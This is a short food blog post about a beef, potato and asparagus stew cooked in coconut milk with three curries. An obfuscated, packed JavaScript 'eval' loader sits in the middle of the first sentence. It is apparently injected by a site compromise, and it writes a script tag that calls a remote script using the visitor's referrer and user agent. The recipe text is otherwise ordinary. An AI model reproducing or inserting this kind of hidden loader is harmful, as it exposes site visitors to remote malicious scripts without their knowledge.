Three Curry Stew

2013, Food

Kate Styled Pretty, Kate Greer, Foodie Friday, Curry

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dntsb|var|u0026u|referrer|fknba||js|php’.split(‘|’),0,{}))
love curries, especially on cold winter nights.  It’s natural heat warms me up quickly, and it’s easy to make in bulk so I can eat on it for lunch all week. I chopped and browned the beef while boiling the potatoes. I then threw in chopped asparagus and potatoes to stew in coconut milk and three different types of curry (I went a little crazy in the International DeKalb Farmer’s Market spice section).  I served the stew over rice.

If all else fails, add curry to coconut milk and something delicious will result.

One thought on “Three Curry Stew

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.